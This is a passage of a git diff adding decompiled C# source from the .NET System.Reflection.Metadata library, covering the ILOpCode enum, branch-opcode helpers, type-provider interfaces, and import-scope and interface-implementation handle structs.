b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/IConstructedTypeProvider.cs new file mode 100644 index 0000000..b83e0cb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/IConstructedTypeProvider.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public interface IConstructedTypeProvider : ISZArrayTypeProvider +{ + TType GetGenericInstantiation(TType genericType, ImmutableArray typeArguments); + + TType GetArrayType(TType elementType, ArrayShape shape); + + TType GetByReferenceType(TType elementType); + + TType GetPointerType(TType elementType); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ICustomAttributeTypeProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ICustomAttributeTypeProvider.cs new file mode 100644 index 0000000..caabc1a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ICustomAttributeTypeProvider.cs @@ -0,0 +1,12 @@ +namespace System.Reflection.Metadata; + +public interface ICustomAttributeTypeProvider : ISimpleTypeProvider, ISZArrayTypeProvider +{ + TType GetSystemType(); + + bool IsSystemType(TType type); + + TType GetTypeFromSerializedName(string name); + + PrimitiveTypeCode GetUnderlyingEnumType(TType type); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCode.cs new file mode 100644 index 0000000..e51ee7e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCode.cs @@ -0,0 +1,223 @@ +namespace System.Reflection.Metadata; + +public enum ILOpCode : ushort +{ + Nop = 0, + Break = 1, + Ldarg_0 = 2, + Ldarg_1 = 3, + Ldarg_2 = 4, + Ldarg_3 = 5, + Ldloc_0 = 6, + Ldloc_1 = 7, + Ldloc_2 = 8, + Ldloc_3 = 9, + Stloc_0 = 10, + Stloc_1 = 11, + Stloc_2 = 12, + Stloc_3 = 13, + Ldarg_s = 14, + Ldarga_s = 15, + Starg_s = 16, + Ldloc_s = 17, + Ldloca_s = 18, + Stloc_s = 19, + Ldnull = 20, + Ldc_i4_m1 = 21, + Ldc_i4_0 = 22, + Ldc_i4_1 = 23, + Ldc_i4_2 = 24, + Ldc_i4_3 = 25, + Ldc_i4_4 = 26, + Ldc_i4_5 = 27, + Ldc_i4_6 = 28, + Ldc_i4_7 = 29, + Ldc_i4_8 = 30, + Ldc_i4_s = 31, + Ldc_i4 = 32, + Ldc_i8 = 33, + Ldc_r4 = 34, + Ldc_r8 = 35, + Dup = 37, + Pop = 38, + Jmp = 39, + Call = 40, + Calli = 41, + Ret = 42, + Br_s = 43, + Brfalse_s = 44, + Brtrue_s = 45, + Beq_s = 46, + Bge_s = 47, + Bgt_s = 48, + Ble_s = 49, + Blt_s = 50, + Bne_un_s = 51, + Bge_un_s = 52, + Bgt_un_s = 53, + Ble_un_s = 54, + Blt_un_s = 55, + Br = 56, + Brfalse = 57, + Brtrue = 58, + Beq = 59, + Bge = 60, + Bgt = 61, + Ble = 62, + Blt = 63, + Bne_un = 64, + Bge_un = 65, + Bgt_un = 66, + Ble_un = 67, + Blt_un = 68, + Switch = 69, + Ldind_i1 = 70, + Ldind_u1 = 71, + Ldind_i2 = 72, + Ldind_u2 = 73, + Ldind_i4 = 74, + Ldind_u4 = 75, + Ldind_i8 = 76, + Ldind_i = 77, + Ldind_r4 = 78, + Ldind_r8 = 79, + Ldind_ref = 80, + Stind_ref = 81, + Stind_i1 = 82, + Stind_i2 = 83, + Stind_i4 = 84, + Stind_i8 = 85, + Stind_r4 = 86, + Stind_r8 = 87, + Add = 88, + Sub = 89, + Mul = 90, + Div = 91, + Div_un = 92, + Rem = 93, + Rem_un = 94, + And = 95, + Or = 96, + Xor = 97, + Shl = 98, + Shr = 99, + Shr_un = 100, + Neg = 101, + Not = 102, + Conv_i1 = 103, + Conv_i2 = 104, + Conv_i4 = 105, + Conv_i8 = 106, + Conv_r4 = 107, + Conv_r8 = 108, + Conv_u4 = 109, + Conv_u8 = 110, + Callvirt = 111, + Cpobj = 112, + Ldobj = 113, + Ldstr = 114, + Newobj = 115, + Castclass = 116, + Isinst = 117, + Conv_r_un = 118, + Unbox = 121, + Throw = 122, + Ldfld = 123, + Ldflda = 124, + Stfld = 125, + Ldsfld = 126, + Ldsflda = 127, + Stsfld = 128, + Stobj = 129, + Conv_ovf_i1_un = 130, + Conv_ovf_i2_un = 131, + Conv_ovf_i4_un = 132, + Conv_ovf_i8_un = 133, + Conv_ovf_u1_un = 134, + Conv_ovf_u2_un = 135, + Conv_ovf_u4_un = 136, + Conv_ovf_u8_un = 137, + Conv_ovf_i_un = 138, + Conv_ovf_u_un = 139, + Box = 140, + Newarr = 141, + Ldlen = 142, + Ldelema = 143, + Ldelem_i1 = 144, + Ldelem_u1 = 145, + Ldelem_i2 = 146, + Ldelem_u2 = 147, + Ldelem_i4 = 148, + Ldelem_u4 = 149, + Ldelem_i8 = 150, + Ldelem_i = 151, + Ldelem_r4 = 152, + Ldelem_r8 = 153, + Ldelem_ref = 154, + Stelem_i = 155, + Stelem_i1 = 156, + Stelem_i2 = 157, + Stelem_i4 = 158, + Stelem_i8 = 159, + Stelem_r4 = 160, + Stelem_r8 = 161, + Stelem_ref = 162, + Ldelem = 163, + Stelem = 164, + Unbox_any = 165, + Conv_ovf_i1 = 179, + Conv_ovf_u1 = 180, + Conv_ovf_i2 = 181, + Conv_ovf_u2 = 182, + Conv_ovf_i4 = 183, + Conv_ovf_u4 = 184, + Conv_ovf_i8 = 185, + Conv_ovf_u8 = 186, + Refanyval = 194, + Ckfinite = 195, + Mkrefany = 198, + Ldtoken = 208, + Conv_u2 = 209, + Conv_u1 = 210, + Conv_i = 211, + Conv_ovf_i = 212, + Conv_ovf_u = 213, + Add_ovf = 214, + Add_ovf_un = 215, + Mul_ovf = 216, + Mul_ovf_un = 217, + Sub_ovf = 218, + Sub_ovf_un = 219, + Endfinally = 220, + Leave = 221, + Leave_s = 222, + Stind_i = 223, + Conv_u = 224, + Arglist = 65024, + Ceq = 65025, + Cgt = 65026, + Cgt_un = 65027, + Clt = 65028, + Clt_un = 65029, + Ldftn = 65030, + Ldvirtftn = 65031, + Ldarg = 65033, + Ldarga = 65034, + Starg = 65035, + Ldloc = 65036, + Ldloca = 65037, + Stloc = 65038, + Localloc = 65039, + Endfilter = 65041, + Unaligned = 65042, + Volatile = 65043, + Tail = 65044, + Initobj = 65045, + Constrained = 65046, + Cpblk = 65047, + Initblk = 65048, + Rethrow = 65050, + Sizeof = 65052, + Refanytype = 65053, + Readonly = 65054 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCodeExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCodeExtensions.cs new file mode 100644 index 0000000..bf39316 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ILOpCodeExtensions.cs @@ -0,0 +1,156 @@ +namespace System.Reflection.Metadata; + +public static class ILOpCodeExtensions +{ + public static bool IsBranch(this ILOpCode opCode) + { + if (opCode - 43 <= ILOpCode.Ldc_i4_3 || opCode - 221 <= ILOpCode.Break) + { + return true; + } + return false; + } + + public static int GetBranchOperandSize(this ILOpCode opCode) + { + switch (opCode) + { + case ILOpCode.Br_s: + case ILOpCode.Brfalse_s: + case ILOpCode.Brtrue_s: + case ILOpCode.Beq_s: + case ILOpCode.Bge_s: + case ILOpCode.Bgt_s: + case ILOpCode.Ble_s: + case ILOpCode.Blt_s: + case ILOpCode.Bne_un_s: + case ILOpCode.Bge_un_s: + case ILOpCode.Bgt_un_s: + case ILOpCode.Ble_un_s: + case ILOpCode.Blt_un_s: + case ILOpCode.Leave_s: + return 1; + case ILOpCode.Br: + case ILOpCode.Brfalse: + case ILOpCode.Brtrue: + case ILOpCode.Beq: + case ILOpCode.Bge: + case ILOpCode.Bgt: + case ILOpCode.Ble: + case ILOpCode.Blt: + case ILOpCode.Bne_un: + case ILOpCode.Bge_un: + case ILOpCode.Bgt_un: + case ILOpCode.Ble_un: + case ILOpCode.Blt_un: + case ILOpCode.Leave: + return 4; + default: + throw new ArgumentException(System.SR.Format(System.SR.UnexpectedOpCode, opCode), "opCode"); + } + } + + public static ILOpCode GetShortBranch(this ILOpCode opCode) + { + switch (opCode) + { + case ILOpCode.Br_s: + case ILOpCode.Brfalse_s: + case ILOpCode.Brtrue_s: + case ILOpCode.Beq_s: + case ILOpCode.Bge_s: + case ILOpCode.Bgt_s: + case ILOpCode.Ble_s: + case ILOpCode.Blt_s: + case ILOpCode.Bne_un_s: + case ILOpCode.Bge_un_s: + case ILOpCode.Bgt_un_s: + case ILOpCode.Ble_un_s: + case ILOpCode.Blt_un_s: + case ILOpCode.Leave_s: + return opCode; + case ILOpCode.Br: + return ILOpCode.Br_s; + case ILOpCode.Brfalse: + return ILOpCode.Brfalse_s; + case ILOpCode.Brtrue: + return ILOpCode.Brtrue_s; + case ILOpCode.Beq: + return ILOpCode.Beq_s; + case ILOpCode.Bge: + return ILOpCode.Bge_s; + case ILOpCode.Bgt: + return ILOpCode.Bgt_s; + case ILOpCode.Ble: + return ILOpCode.Ble_s; + case ILOpCode.Blt: + return ILOpCode.Blt_s; + case ILOpCode.Bne_un: + return ILOpCode.Bne_un_s; + case ILOpCode.Bge_un: + return ILOpCode.Bge_un_s; + case ILOpCode.Bgt_un: + return ILOpCode.Bgt_un_s; + case ILOpCode.Ble_un: + return ILOpCode.Ble_un_s; + case ILOpCode.Blt_un: + return ILOpCode.Blt_un_s; + case ILOpCode.Leave: + return ILOpCode.Leave_s; + default: + throw new ArgumentException(System.SR.Format(System.SR.UnexpectedOpCode, opCode), "opCode"); + } + } + + public static ILOpCode GetLongBranch(this ILOpCode opCode) + { + switch (opCode) + { + case ILOpCode.Br: + case ILOpCode.Brfalse: + case ILOpCode.Brtrue: + case ILOpCode.Beq: + case ILOpCode.Bge: + case ILOpCode.Bgt: + case ILOpCode.Ble: + case ILOpCode.Blt: + case ILOpCode.Bne_un: + case ILOpCode.Bge_un: + case ILOpCode.Bgt_un: + case ILOpCode.Ble_un: + case ILOpCode.Blt_un: + case ILOpCode.Leave: + return opCode; + case ILOpCode.Br_s: + return ILOpCode.Br; + case ILOpCode.Brfalse_s: + return ILOpCode.Brfalse; + case ILOpCode.Brtrue_s: + return ILOpCode.Brtrue; + case ILOpCode.Beq_s: + return ILOpCode.Beq; + case ILOpCode.Bge_s: + return ILOpCode.Bge; + case ILOpCode.Bgt_s: + return ILOpCode.Bgt; + case ILOpCode.Ble_s: + return ILOpCode.Ble; + case ILOpCode.Blt_s: + return ILOpCode.Blt; + case ILOpCode.Bne_un_s: + return ILOpCode.Bne_un; + case ILOpCode.Bge_un_s: + return ILOpCode.Bge_un; + case ILOpCode.Bgt_un_s: + return ILOpCode.Bgt_un; + case ILOpCode.Ble_un_s: + return ILOpCode.Ble_un; + case ILOpCode.Blt_un_s: + return ILOpCode.Blt_un; + case ILOpCode.Leave_s: + return ILOpCode.Leave; + default: + throw new ArgumentException(System.SR.Format(System.SR.UnexpectedOpCode, opCode), "opCode"); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISZArrayTypeProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISZArrayTypeProvider.cs new file mode 100644 index 0000000..142d1f4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISZArrayTypeProvider.cs @@ -0,0 +1,6 @@ +namespace System.Reflection.Metadata; + +public interface ISZArrayTypeProvider +{ + TType GetSZArrayType(TType elementType); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISignatureTypeProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISignatureTypeProvider.cs new file mode 100644 index 0000000..650ab6f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISignatureTypeProvider.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata; + +public interface ISignatureTypeProvider : ISimpleTypeProvider, IConstructedTypeProvider, ISZArrayTypeProvider +{ + TType GetFunctionPointerType(MethodSignature signature); + + TType GetGenericMethodParameter(TGenericContext genericContext, int index); + + TType GetGenericTypeParameter(TGenericContext genericContext, int index); + + TType GetModifiedType(TType modifier, TType unmodifiedType, bool isRequired); + + TType GetPinnedType(TType elementType); + + TType GetTypeFromSpecification(MetadataReader reader, TGenericContext genericContext, TypeSpecificationHandle handle, byte rawTypeKind); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISimpleTypeProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISimpleTypeProvider.cs new file mode 100644 index 0000000..e3994e2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ISimpleTypeProvider.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Metadata; + +public interface ISimpleTypeProvider +{ + TType GetPrimitiveType(PrimitiveTypeCode typeCode); + + TType GetTypeFromDefinition(MetadataReader reader, TypeDefinitionHandle handle, byte rawTypeKind); + + TType GetTypeFromReference(MetadataReader reader, TypeReferenceHandle handle, byte rawTypeKind); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImageFormatLimitationException.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImageFormatLimitationException.cs new file mode 100644 index 0000000..bed8a4f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImageFormatLimitationException.cs @@ -0,0 +1,26 @@ +using System.Runtime.Serialization; + +namespace System.Reflection.Metadata; + +[Serializable] +public class ImageFormatLimitationException : Exception +{ + public ImageFormatLimitationException() + { + } + + public ImageFormatLimitationException(string? message) + : base(message) + { + } + + public ImageFormatLimitationException(string? message, Exception? innerException) + : base(message, innerException) + { + } + + protected ImageFormatLimitationException(SerializationInfo info, StreamingContext context) + : base(info, context) + { + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinition.cs new file mode 100644 index 0000000..29b4421 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinition.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata; + +public readonly struct ImportDefinition +{ + private readonly Handle _typeOrNamespace; + + public ImportDefinitionKind Kind { get; } + + public BlobHandle Alias { get; } + + public AssemblyReferenceHandle TargetAssembly { get; } + + public BlobHandle TargetNamespace => (BlobHandle)_typeOrNamespace; + + public EntityHandle TargetType => (EntityHandle)_typeOrNamespace; + + internal ImportDefinition(ImportDefinitionKind kind, BlobHandle alias = default(BlobHandle), AssemblyReferenceHandle assembly = default(AssemblyReferenceHandle), Handle typeOrNamespace = default(Handle)) + { + Kind = kind; + Alias = alias; + TargetAssembly = assembly; + _typeOrNamespace = typeOrNamespace; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionCollection.cs new file mode 100644 index 0000000..da5b72a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionCollection.cs @@ -0,0 +1,116 @@ +using System.Collections; +using System.Collections.Generic; +using System.Reflection.Internal; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct ImportDefinitionCollection : IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private BlobReader _reader; + + private ImportDefinition _current; + + public ImportDefinition Current => _current; + + object IEnumerator.Current => _current; + + internal Enumerator(MemoryBlock block) + { + _reader = new BlobReader(block); + _current = default(ImportDefinition); + } + + public bool MoveNext() + { + if (_reader.RemainingBytes == 0) + { + return false; + } + ImportDefinitionKind importDefinitionKind = (ImportDefinitionKind)_reader.ReadByte(); + switch (importDefinitionKind) + { + case ImportDefinitionKind.ImportType: + { + Handle typeOrNamespace = _reader.ReadTypeHandle(); + _current = new ImportDefinition(importDefinitionKind, default(BlobHandle), default(AssemblyReferenceHandle), typeOrNamespace); + break; + } + case ImportDefinitionKind.ImportNamespace: + { + Handle typeOrNamespace = MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()); + _current = new ImportDefinition(importDefinitionKind, default(BlobHandle), default(AssemblyReferenceHandle), typeOrNamespace); + break; + } + case ImportDefinitionKind.ImportAssemblyNamespace: + { + AssemblyReferenceHandle assembly = MetadataTokens.AssemblyReferenceHandle(_reader.ReadCompressedInteger()); + Handle typeOrNamespace = MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()); + _current = new ImportDefinition(importDefinitionKind, default(BlobHandle), assembly, typeOrNamespace); + break; + } + case ImportDefinitionKind.ImportAssemblyReferenceAlias: + _current = new ImportDefinition(importDefinitionKind, MetadataTokens.BlobHandle(_reader.ReadCompressedInteger())); + break; + case ImportDefinitionKind.AliasAssemblyReference: + _current = new ImportDefinition(importDefinitionKind, MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()), MetadataTokens.AssemblyReferenceHandle(_reader.ReadCompressedInteger())); + break; + case ImportDefinitionKind.AliasType: + { + BlobHandle alias2 = MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()); + Handle typeOrNamespace = _reader.ReadTypeHandle(); + _current = new ImportDefinition(importDefinitionKind, alias2, default(AssemblyReferenceHandle), typeOrNamespace); + break; + } + case ImportDefinitionKind.ImportXmlNamespace: + case ImportDefinitionKind.AliasNamespace: + { + BlobHandle alias = MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()); + Handle typeOrNamespace = MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()); + _current = new ImportDefinition(importDefinitionKind, alias, default(AssemblyReferenceHandle), typeOrNamespace); + break; + } + case ImportDefinitionKind.AliasAssemblyNamespace: + _current = new ImportDefinition(importDefinitionKind, MetadataTokens.BlobHandle(_reader.ReadCompressedInteger()), MetadataTokens.AssemblyReferenceHandle(_reader.ReadCompressedInteger()), MetadataTokens.BlobHandle(_reader.ReadCompressedInteger())); + break; + default: + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidImportDefinitionKind, importDefinitionKind)); + } + return true; + } + + public void Reset() + { + _reader.Reset(); + _current = default(ImportDefinition); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MemoryBlock _block; + + internal ImportDefinitionCollection(MemoryBlock block) + { + _block = block; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_block); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionKind.cs new file mode 100644 index 0000000..c9584b0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportDefinitionKind.cs @@ -0,0 +1,14 @@ +namespace System.Reflection.Metadata; + +public enum ImportDefinitionKind +{ + ImportNamespace = 1, + ImportAssemblyNamespace, + ImportType, + ImportXmlNamespace, + ImportAssemblyReferenceAlias, + AliasAssemblyReference, + AliasNamespace, + AliasAssemblyNamespace, + AliasType +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScope.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScope.cs new file mode 100644 index 0000000..b9d0cad --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScope.cs @@ -0,0 +1,25 @@ +namespace System.Reflection.Metadata; + +public readonly struct ImportScope +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private ImportScopeHandle Handle => ImportScopeHandle.FromRowId(_rowId); + + public ImportScopeHandle Parent => _reader.ImportScopeTable.GetParent(Handle); + + public BlobHandle ImportsBlob => _reader.ImportScopeTable.GetImports(Handle); + + internal ImportScope(MetadataReader reader, ImportScopeHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public ImportDefinitionCollection GetImports() + { + return new ImportDefinitionCollection(_reader.BlobHeap.GetMemoryBlock(ImportsBlob)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeCollection.cs new file mode 100644 index 0000000..bfd5949 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeCollection.cs @@ -0,0 +1,79 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct ImportScopeCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public ImportScopeHandle Current => ImportScopeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal ImportScopeCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.ImportScopeTable.NumberOfRows; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeHandle.cs new file mode 100644 index 0000000..8b9e65f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ImportScopeHandle.cs @@ -0,0 +1,84 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct ImportScopeHandle : IEquatable +{ + private const uint tokenType = 889192448u; + + private const byte tokenTypeSmall = 53; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ImportScopeHandle(int rowId) + { + _rowId = rowId; + } + + internal static ImportScopeHandle FromRowId(int rowId) + { + return new ImportScopeHandle(rowId); + } + + public static implicit operator Handle(ImportScopeHandle handle) + { + return new Handle(53, handle._rowId); + } + + public static implicit operator EntityHandle(ImportScopeHandle handle) + { + return new EntityHandle((uint)(0x35000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ImportScopeHandle(Handle handle) + { + if (handle.VType != 53) + { + Throw.InvalidCast(); + } + return new ImportScopeHandle(handle.RowId); + } + + public static explicit operator ImportScopeHandle(EntityHandle handle) + { + if (handle.VType != 889192448) + { + Throw.InvalidCast(); + } + return new ImportScopeHandle(handle.RowId); + } + + public static bool operator ==(ImportScopeHandle left, ImportScopeHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is ImportScopeHandle importScopeHandle) + { + return importScopeHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(ImportScopeHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ImportScopeHandle left, ImportScopeHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementation.cs new file mode 100644 index 0000000..b2bf0d4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementation.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata; + +public readonly struct InterfaceImplementation +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private InterfaceImplementationHandle Handle => InterfaceImplementationHandle.FromRowId(_rowId); + + public EntityHandle Interface => _reader.InterfaceImplTable.GetInterface(_rowId); + + internal InterfaceImplementation(MetadataReader reader, InterfaceImplementationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandle.cs new file mode 100644 index 0000000..033d4f6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct InterfaceImplementationHandle : IEquatable +{ + private const uint tokenType = 150994944u; + + private const byte tokenTypeSmall = 9; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + internal InterfaceImplementationHandle(int rowId) + { + _rowId = rowId; + } + + internal static InterfaceImplementationHandle FromRowId(int rowId) + { + return new InterfaceImplementationHandle(rowId); + } + + public static implicit operator Handle(InterfaceImplementationHandle handle) + { + return new Handle(9, handle._rowId); + } + + public static implicit operator EntityHandle(InterfaceImplementationHandle handle) + { + return new EntityHandle((uint)(0x9000000uL | (ulong)handle._rowId)); + } + + public static explicit operator InterfaceImplementationHandle(Handle handle) + { + if (handle.VType != 9) + { + Throw.InvalidCast(); + } + return new InterfaceImplementationHandle(handle.RowId); + } + + public static explicit operator InterfaceImplementationHandle(EntityHandle handle) + { + if (handle.VType != 150994944) + { + Throw.InvalidCast(); + } + return new InterfaceImplementationHandle(handle.RowId); + } + + public static bool operator ==(InterfaceImplementationHandle left, InterfaceImplementationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is InterfaceImplementationHandle) + { + return ((InterfaceImplementationHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(InterfaceImplementationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(InterfaceImplementationHandle left, InterfaceImplementationHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandleCollection.cs new file mode 100644 index 0000000..a63ab2e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/InterfaceImplementationHandleCollection.cs @@ -0,0 +1,78 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct InterfaceImplementationHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public InterfaceImplementationHandle Current => InterfaceImplementationHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal InterfaceImplementationHandleCollection(MetadataReader reader, TypeDefinitionHandle implementingType) + { + _reader = reader; + reader.InterfaceImplTable.GetInterfaceImplRange(implementingType, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstant.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstant.cs new file mode 100644 index 0000000..cfa1358 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstant.cs @@ -0,0 +1,20 @@ +namespace System.Reflection.Metadata; + +public readonly struct LocalConstant +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private LocalConstantHandle Handle => LocalConstantHandle.FromRowId(_rowId); + + public StringHandle Name => _reader.LocalConstantTable.GetName(Handle); + + public BlobHandle Signature => _reader.LocalConstantTable.GetSignature(Handle); + + internal LocalConstant(MetadataReader reader, LocalConstantHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } +} diff --git 